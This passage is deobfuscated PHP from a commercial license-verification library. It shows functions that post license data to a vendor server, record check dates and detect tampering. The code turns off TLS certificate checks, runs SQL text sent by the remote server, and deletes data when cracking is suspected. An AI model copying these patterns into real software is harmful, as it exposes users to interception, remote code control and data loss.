/* Decoded by unphp.net */
, September 2018
*/
function aplCustomEncrypt($string, $key) { $encrypted_string = null; if (!(!empty($string) && !empty($key))) { goto aCHZZ; } $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc")); $encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv); $encrypted_string = base64_encode($encrypted_string . "::" . $iv); aCHZZ: return $encrypted_string; } function aplCustomDecrypt($string, $key) { $decrypted_string = null; if (!(!empty($string) && !empty($key))) { goto Ya1sX; } $string = base64_decode($string); if (!stristr($string, "::")) { goto U459i; } $string_iv_array = explode("::", $string, 2); if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) { goto A2z0B; } list($encrypted_string, $iv) = $string_iv_array; $decrypted_string = openssl_decrypt($encrypted_string, "aes-256-cbc", $key, 0, $iv); A2z0B: U459i: Ya1sX: return $decrypted_string; } function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF) { $result = false; if (!(!is_float($number) && filter_var($number, FILTER_VALIDATE_INT, array("options" => array("min_range" => $min_value, "max_range" => $max_value))) !== false)) { goto NmzoT; } $result = true; NmzoT: return $result; } function aplValidateRawDomain($url) { $result = false; if (empty($url)) { goto Ezxcw; } if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url))) { goto S7c2L; } $result = false; goto R4Hfe; S7c2L: $result = true; R4Hfe: Ezxcw: return $result; } function aplGetCurrentUrl($remove_last_slash = null) { $protocol = "http"; $host = null; $script = null; $params = null; $current_url = null; if (!(isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https")) { goto en2mY; } $protocol = "https"; en2mY: if (!isset($_SERVER["HTTP_HOST"])) { goto nGzG8; } $host = $_SERVER["HTTP_HOST"]; nGzG8: if (!isset($_SERVER["SCRIPT_NAME"])) { goto ln9Y9; } $script = $_SERVER["SCRIPT_NAME"]; ln9Y9: if (!isset($_SERVER["QUERY_STRING"])) { goto G5jYD; } $params = $_SERVER["QUERY_STRING"]; G5jYD: if (!(!empty($protocol) && !empty($host) && !empty($script))) { goto qtnZM; } $current_url = $protocol . "://" . $host . $script; if (empty($params)) { goto xUgd7; } $current_url .= "?" . $params; xUgd7: if (!($remove_last_slash == 1)) { goto PWVPT; } hBtxj: if (!(substr($current_url, -1) == "/")) { goto liGPK; } $current_url = substr($current_url, 0, -1); goto hBtxj; liGPK: PWVPT: qtnZM: return $current_url; } function aplGetRawDomain($url) { $raw_domain = null; if (empty($url)) { goto m39nY; } $url_array = parse_url($url); if (!empty($url_array["scheme"])) { goto CH80r; } $url = "http://" . $url; $url_array = parse_url($url); CH80r: if (empty($url_array["host"])) { goto Q1Xjk; } $raw_domain = $url_array["host"]; $raw_domain = trim(str_ireplace("www.", '', filter_var($raw_domain, FILTER_SANITIZE_URL))); Q1Xjk: m39nY: return $raw_domain; } function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash) { if (!filter_var($url, FILTER_VALIDATE_URL)) { goto Q69o7; } $url_array = parse_url($url); $url = str_ireplace($url_array["scheme"] . "://", '', $url); if ($remove_path == 1) { goto VZA7A; } $last_slash_position = strripos($url, "/"); if (!($last_slash_position > 0)) { goto d9E38; } $url = substr($url, 0, $last_slash_position + 1); d9E38: goto n2aKc; VZA7A: $first_slash_position = stripos($url, "/"); if (!($first_slash_position > 0)) { goto InWSZ; } $url = substr($url, 0, $first_slash_position + 1); InWSZ: n2aKc: if (!($remove_scheme != 1)) { goto hCC7S; } $url = $url_array["scheme"] . "://" . $url; hCC7S: if (!($remove_www == 1)) { goto qavQj; } $url = str_ireplace("www.", '', $url); qavQj: if (!($remove_last_slash == 1)) { goto veHx_; } Ma7Og: if (!(substr($url, -1) == "/")) { goto meJbk; } $url = substr($url, 0, -1); goto Ma7Og; meJbk: veHx_: Q69o7: return trim($url); } function aplCustomPost($url, $post_info = null, $refer = null) { $user_agent = "phpmillion cURL"; $connect_timeout = 10; $server_response_array = array(); $formatted_headers_array = array(); if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) { goto ROIEb; } if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) { goto xzVnU; } $refer = $url; xzVnU: $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use(&$formatted_headers_array) { $len = strlen($header); $header = explode(":", $header, 2); if (!(count($header) < 2)) { goto tY4fu; } return $len; tY4fu: $name = strtolower(trim($header[0])); $formatted_headers_array[$name] = trim($header[1]); return $len; }); $result = curl_exec($ch); $curl_error = curl_error($ch); curl_close($ch); $server_response_array["headers"] = $formatted_headers_array; $server_response_array["error"] = $curl_error; $server_response_array["body"] = $result; ROIEb: return $server_response_array; } function aplVerifyDateTime($datetime, $format) { $result = false; if (!(!empty($datetime) && !empty($format))) { goto VYeRd; } $datetime = DateTime::createFromFormat($format, $datetime); $errors = DateTime::getLastErrors(); if (!($datetime && empty($errors["warning_count"]))) { goto o0jw8; } $result = true; o0jw8: VYeRd: return $result; } function aplGetDaysBetweenDates($date_from, $date_to) { $number_of_days = 0; if (!(aplVerifyDateTime($date_from, "Y-m-d") && aplVerifyDateTime($date_to, "Y-m-d"))) { goto NITkM; } $date_to = new DateTime($date_to); $date_from = new DateTime($date_from); $number_of_days = $date_from->diff($date_to)->format("%a"); NITkM: return $number_of_days; } function aplParseXmlTags($content, $tag_name) { $parsed_value = null; if (!(!empty($content) && !empty($tag_name))) { goto Rd7mT; } preg_match_all("/<" . preg_quote($tag_name, "/") . ">(.*?)<\/" . preg_quote($tag_name, "/") . ">/ims", $content, $output_array, PREG_SET_ORDER); if (empty($output_array[0][1])) { goto VbGpu; } $parsed_value = trim($output_array[0][1]); VbGpu: Rd7mT: return $parsed_value; } function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) { $notifications_array = array(); if (!empty($content_array)) { goto hZuWm; } $notifications_array["notification_case"] = "notification_no_connection"; $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; goto eybYy; hZuWm: if (!empty($content_array["headers"]["notification_server_signature"]) && aplVerifyServerSignature($content_array["headers"]["notification_server_signature"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product)) { goto jQD2b; } $notifications_array["notification_case"] = "notification_invalid_response"; $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; goto O6t8i; jQD2b: $notifications_array["notification_case"] = $content_array["headers"]["notification_case"]; $notifications_array["notification_text"] = $content_array["headers"]["notification_text"]; if (empty($content_array["headers"]["notification_data"])) { goto PDkxi; } $notifications_array["notification_data"] = json_decode($content_array["headers"]["notification_data"], true); PDkxi: O6t8i: eybYy: return $notifications_array; } function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) { $script_signature = null; $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); $product = $product == Null ? APL_PRODUCT_ID : $product; if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) { goto Q4GmI; } $script_signature = hash("sha256", gmdate("Y-m-d") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . $product . implode('', $root_ips_array)); Q4GmI: return $script_signature; } function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null) { $result = false; $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); $product = $product == Null ? APL_PRODUCT_ID : $product; if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) { goto KIkV9; } if (!(hash("sha256", implode('', $root_ips_array) . $product . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("Y-m-d")) == $notification_server_signature)) { goto CC053; } $result = true; CC053: KIkV9: return $result; } function aplCheckSettings() { $notifications_array = array(); if (!(empty(APL_SALT) || APL_SALT == "some_random_text")) { goto WxXVO; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT; WxXVO: if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr(APL_ROOT_URL, -1)))) { goto js46j; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL; js46j: if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) { goto waXdH; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID; waXdH: if (aplValidateIntegerValue(APL_DAYS, 1, 365)) { goto f3UYj; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD; f3UYj: if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE")) { goto X5AaO; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE; X5AaO: if (!(APL_STORAGE == "DATABASE" && !ctype_alnum(str_ireplace(array("_"), '', APL_DATABASE_TABLE)))) { goto pijfR; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE; pijfR: if (!(APL_STORAGE == "FILE" && !@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION))) { goto PHYGA; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE; PHYGA: if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))) { goto dZpbm; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP; dZpbm: if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL))))) { goto P35C2; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; P35C2: if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) { goto IMryR; } foreach (APL_ROOT_NAMESERVERS as $nameserver) { if (aplValidateRawDomain($nameserver)) { goto TqLnG; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS; goto N6Bba; TqLnG: oH7XN: } N6Bba: IMryR: if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) { goto r55pk; } $apl_root_nameservers_array = APL_ROOT_NAMESERVERS; $fetched_nameservers_array = array(); $dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS); foreach ($dns_records_array as $record) { $fetched_nameservers_array[] = $record["target"]; nUxPL: } Qavs_: $apl_root_nameservers_array = array_map("strtolower", $apl_root_nameservers_array); $fetched_nameservers_array = array_map("strtolower", $fetched_nameservers_array); sort($apl_root_nameservers_array); sort($fetched_nameservers_array); if (!($apl_root_nameservers_array != $fetched_nameservers_array)) { goto mMLhh; } $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; mMLhh: r55pk: return $notifications_array; } function aplParseLicenseFile() { $license_data_array = array(); if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)) { goto NbpNA; } $file_content = file_get_contents(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION); preg_match_all("/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/", $file_content, $matches, PREG_SET_ORDER); if (empty($matches)) { goto hI0sT; } foreach ($matches as $value) { if (!(!empty($value[1]) && $value[1] == $value[3])) { goto lEugi; } $license_data_array[$value[1]] = $value[2]; lEugi: x_aMj: } TKTm9: hI0sT: NbpNA: return $license_data_array; } function aplGetLicenseData($MYSQLI_LINK = null) { $settings_row = array(); if (!(APL_STORAGE == "DATABASE")) { goto jSzxC; } $table_exist = @mysqli_query($MYSQLI_LINK, "SHOW TABLES LIKE '" . APL_DATABASE_TABLE . "'"); if (!@mysqli_fetch_assoc($table_exist)) { goto f0xjG; } $settings_results = @mysqli_query($MYSQLI_LINK, "SELECT * FROM " . APL_DATABASE_TABLE); $settings_row = @mysqli_fetch_assoc($settings_results); f0xjG: jSzxC: if (!(APL_STORAGE == "FILE")) { goto B4ovf; } $settings_row = aplParseLicenseFile(); B4ovf: return $settings_row; } function aplCheckConnection() { $notifications_array = array(); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/connection_test.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&connection_hash=" . rawurlencode(hash("sha256", "connection_test"))); if (!empty($content_array)) { goto EhPcC; } $notifications_array["notification_case"] = "notification_no_connection"; $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; goto a43Pw; EhPcC: if (!($content_array["body"] != "OK")) { goto zLWv3; } $notifications_array["notification_case"] = "notification_invalid_response"; $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; zLWv3: a43Pw: return $notifications_array; } function aplCheckData($MYSQLI_LINK = null) { $error_detected = 0; $cracking_detected = 0; $data_check_result = false; extract(aplGetLicenseData($MYSQLI_LINK)); if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) { goto NV_66; } $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY); if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) { goto oMJJ1; } $error_detected = 1; oMJJ1: if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)) === false)) { goto ONtyX; } $error_detected = 1; ONtyX: if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) { goto tARGM; } $error_detected = 1; tARGM: if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) { goto tnqvg; } $error_detected = 1; tnqvg: if (aplVerifyDateTime($LCD, "Y-m-d")) { goto Q933E; } $error_detected = 1; Q933E: if (aplVerifyDateTime($LRD, "Y-m-d")) { goto BdmX1; } $error_detected = 1; BdmX1: if (!(aplVerifyDateTime($LCD, "Y-m-d") && $LCD > date("Y-m-d", strtotime("+1 day")))) { goto u4jpk; } $error_detected = 1; $cracking_detected = 1; u4jpk: if (!(aplVerifyDateTime($LRD, "Y-m-d") && $LRD > date("Y-m-d", strtotime("+1 day")))) { goto k2W2n; } $error_detected = 1; $cracking_detected = 1; k2W2n: if (!(aplVerifyDateTime($LCD, "Y-m-d") && aplVerifyDateTime($LRD, "Y-m-d") && $LCD > $LRD)) { goto c0cPI; } $error_detected = 1; $cracking_detected = 1; c0cPI: if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) { goto hBQ0n; } aplDeleteData($MYSQLI_LINK); hBQ0n: if (!($error_detected != 1 && $cracking_detected != 1)) { goto CLgzh; } $data_check_result = true; CLgzh: NV_66: return $data_check_result; } function aplVerifyEnvatoPurchase($LICENSE_CODE = null) { $notifications_array = array(); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase"))); if (!empty($content_array)) { goto BD52N; } $notifications_array["notification_case"] = "notification_no_connection"; $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION; goto XR0wA; BD52N: if (!($content_array["body"] != "OK")) { goto gUbC6; } $notifications_array["notification_case"] = "notification_invalid_response"; $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE; gUbC6: XR0wA: return $notifications_array; } function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null) { $notifications_array = array(); $apl_core_notifications = aplCheckSettings(); if (empty($apl_core_notifications)) { goto SJIZD; } $notifications_array["notification_case"] = "notification_script_corrupted"; $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); goto v8DSN; SJIZD: if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) { goto OtsK5; } $INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE); $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); if (!($notifications_array["notification_case"] == "notification_license_ok")) { goto CIawu; } $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY); $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); if (!(APL_STORAGE == "DATABASE")) { goto FZ2kU; } $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) { goto GK5HD; } $mysql_bad_array = array("%APL_DATABASE_TABLE%", "%ROOT_URL%", "%CLIENT_EMAIL%", "%LICENSE_CODE%", "%LCD%", "%LRD%", "%INSTALLATION_KEY%", "%INSTALLATION_HASH%"); $mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH); $license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["notification_data"]["scheme_query"]); mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK)); GK5HD: FZ2kU: if (!(APL_STORAGE == "FILE")) { goto DX404; } $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); $fwrite = @fwrite($handle, "{$ROOT_URL}{$CLIENT_EMAIL}{$LICENSE_CODE}{$LCD}{$LRD}{$INSTALLATION_KEY}{$INSTALLATION_HASH}"); if (!($fwrite === false)) { goto wTMT2; } echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; exit; wTMT2: @fclose($handle); DX404: CIawu: goto VNKIB; OtsK5: $notifications_array["notification_case"] = "notification_already_installed"; $notifications_array["notification_text"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED; VNKIB: v8DSN: return $notifications_array; } function preparePackageInstallation($installable) { $notifications_array = array(); $apl_core_notifications = aplCheckSettings(); if (!empty($apl_core_notifications)) { goto C8gTx; } $MYSQLI_LINK = getMysqliConnection(); $core_license = aplGetLicenseData($MYSQLI_LINK); if (!(empty($core_license) || !is_array($core_license))) { goto N2ayF; } throw new \Exception("Core script license " . "validation" . " failed! Please contact" . " support for help."); N2ayF: $CLIENT_EMAIL = $core_license["CLIENT_EMAIL"]; $LICENSE_CODE = $installable["license_key"]; $ROOT_URL = config("app.url"); $INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE); $post_info = "product_id=" . rawurlencode($installable["id"]) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"])); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]); if ($notifications_array["notification_case"] == "notification_license_ok") { goto Hsfq2; } if (empty($notifications_array["notification_text"])) { goto ScK3u; } throw new \Exception("License " . "validation" . " failed! " . $notifications_array["notification_text"]); ScK3u: goto s5ou2; Hsfq2: $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY); $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]); if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) { goto cP18I; } return ["installation_key" => $INSTALLATION_KEY, "installation_hash" => $INSTALLATION_HASH, "lcd" => $LCD, "lrd" => $LRD]; cP18I: s5ou2: C8gTx: throw new \Exception("License " . "validation" . " failed! Please contact" . " support for help."); } function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0) { $notifications_array = array(); $update_lrd_value = 0; $update_lcd_value = 0; $updated_records = 0; $apl_core_notifications = aplCheckSettings(); if (empty($apl_core_notifications)) { goto qf7V5; } $notifications_array["notification_case"] = "notification_script_corrupted"; $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); goto rD3z9; qf7V5: if (aplCheckData($MYSQLI_LINK)) { goto PqwBu; } $notifications_array["notification_case"] = "notification_license_corrupted"; $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; goto EFoTa; PqwBu: extract(aplGetLicenseData($MYSQLI_LINK)); if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("Y-m-d")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && $FORCE_VERIFICATION === 0) { goto gboIf; } $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_verify.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); if (!($notifications_array["notification_case"] == "notification_license_ok")) { goto FVJ1V; } $update_lcd_value = 1; FVJ1V: if (!($notifications_array["notification_case"] == "notification_license_cancelled" && APL_DELETE_CANCELLED == "YES")) { goto bPz4J; } aplDeleteData($MYSQLI_LINK); bPz4J: goto Cukfc; gboIf: $notifications_array["notification_case"] = "notification_license_ok"; $notifications_array["notification_text"] = APL_NOTIFICATION_BYPASS_VERIFICATION; Cukfc: if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d"))) { goto TMwJa; } $update_lrd_value = 1; TMwJa: if (!($update_lrd_value == 1 || $update_lcd_value == 1)) { goto VcoPV; } if ($update_lcd_value == 1) { goto V15AH; } $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); goto WSN_a; V15AH: $LCD = date("Y-m-d"); WSN_a: $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); $LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY); $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); if (!(APL_STORAGE == "DATABASE")) { goto YmEPP; } $stmt = mysqli_prepare($MYSQLI_LINK, "UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?"); if (!$stmt) { goto pTU0F; } mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY); $exec = mysqli_stmt_execute($stmt); $affected_rows = mysqli_stmt_affected_rows($stmt); if (!($affected_rows > 0)) { goto J0XW5; } $updated_records = $updated_records + $affected_rows; J0XW5: mysqli_stmt_close($stmt); pTU0F: if (!($updated_records < 1)) { goto OZEFJ; } echo APL_NOTIFICATION_DATABASE_WRITE_ERROR; exit; OZEFJ: YmEPP: if (!(APL_STORAGE == "FILE")) { goto nAkCJ; } $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); $fwrite = @fwrite($handle, "{$ROOT_URL}{$CLIENT_EMAIL}{$LICENSE_CODE}{$LCD}{$LRD}{$INSTALLATION_KEY}{$INSTALLATION_HASH}"); if (!($fwrite === false)) { goto A1as8; } echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; exit; A1as8: @fclose($handle); nAkCJ: VcoPV: EFoTa: rD3z9: if (!($notifications_array["notification_case"] != "notification_license_ok")) { goto ZG0x7; } echo "
"; echo "License is not" . " installed yet" . " or corrupted. Please" . " contact" . " support " . "team "; echo " " . trans("app.update_app_license") . ""; exit; ZG0x7: return $notifications_array; } function aplVerifySupport($MYSQLI_LINK = null) { $notifications_array = array(); $apl_core_notifications = aplCheckSettings(); if (empty($apl_core_notifications)) { goto Pdgss; } $notifications_array["notification_case"] = "notification_script_corrupted"; $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); goto lkS8z; Pdgss: if (aplCheckData($MYSQLI_LINK)) { goto grU_Q; } $notifications_array["notification_case"] = "notification_license_corrupted"; $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; goto y1_3B; grU_Q: extract(aplGetLicenseData($MYSQLI_LINK)); $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_support.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); y1_3B: lkS8z: return $notifications_array; } function aplVerifyUpdates($MYSQLI_LINK = null) { $notifications_array = array(); $apl_core_notifications = aplCheckSettings(); if (empty($apl_core_notifications)) { goto qyNrl; } $notifications_array["notification_case"] = "notification_script_corrupted"; $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); goto UUVR3; qyNrl: if (aplCheckData($MYSQLI_LINK)) { goto sGqBY; } $notifications_array["notification_case"] = "notification_license_corrupted"; $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; goto Qqu6U; sGqBY: extract(aplGetLicenseData($MYSQLI_LINK)); $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); Qqu6U: UUVR3: return $notifications_array; } function incevioUpdateLicense($MYSQLI_LINK = null) { $notifications_array = array(); $apl_core_notifications = aplCheckSettings(); if (empty($apl_core_notifications)) { goto mv3HF; } $notifications_array["notification_case"] = "notification_script_corrupted"; $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); goto kGywu; mv3HF: if (aplCheckData($MYSQLI_LINK)) { goto Axjf1; } $notifications_array["notification_case"] = "notification_license_corrupted"; 